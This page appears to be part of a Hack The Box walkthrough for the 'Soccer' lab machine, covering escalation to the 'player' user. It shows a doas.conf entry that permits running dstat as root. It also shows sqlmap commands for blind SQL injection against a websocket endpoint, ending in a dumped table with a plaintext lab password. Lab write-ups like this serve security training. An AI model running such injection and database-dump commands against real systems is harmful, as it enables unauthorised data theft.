> For the complete documentation index, see [llms.txt](https://htb.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://htb.adot8.com/hack-the-box/oscp-like-boxes/linux/soccer/priv-esc/player.md).

# Player

<figure><img src="/files/hI05pRZlHGsG8l5VFhoo" alt=""><figcaption></figcaption></figure>

```
www-data@soccer:/home/player$ cat /usr/local/etc/doas.conf
cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
```

<figure><img src="/files/cBUlqtRgSQCBfO5swhB2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/EbLr0y1C7r0te1977IYk" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e3xaWwGkSWxUwUvhGglL" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/IHNNH9oH5nJEfBMi2upj" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cbWH1Zk7jrQej42phnxC" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/qVIiezURfSgHe8tWnJsU" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/STtx7AlmzBdiPGx4YB3D" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/L0tNp2cGviTy2ZdGC2h4" alt=""><figcaption></figcaption></figure>

```
adot@kali:~/oscp/htb/soccer$ sqlmap -u 'ws://soc-player.soccer.htb:9091'  --data '{"id":"*"}' --technique=B --risk 3 --level 5
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.8.3#stable}
|_ -| . [(]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 06:48:30 /2024-05-24/


```

```
adot@kali:~/oscp/htb/soccer$ sqlmap -u 'ws://soc-player.soccer.htb:9091'  --data '{"id":"*"}' --technique=B --risk 3 --level 5 --dbs   
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.8.3#stable}
|_ -| . [(]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 06:50:14 /2024-05-24/
```

```
adot@kali:~/oscp/htb/soccer$ sqlmap -u 'ws://soc-player.soccer.htb:9091'  --data '{"id":"*"}' --technique=B --risk 3 --level 5 -D soccer_db --dump --threads 10
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.8.3#stable}
|_ -| . [,]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 07:07:06 /2024-05-24/
```

```
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id   | email             | password             | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player   |
+------+-------------------+----------------------+----------+

```

<figure><img src="/files/wAEQ9nJIXBzB1bHxgvnM" alt=""><figcaption></figcaption></figure>
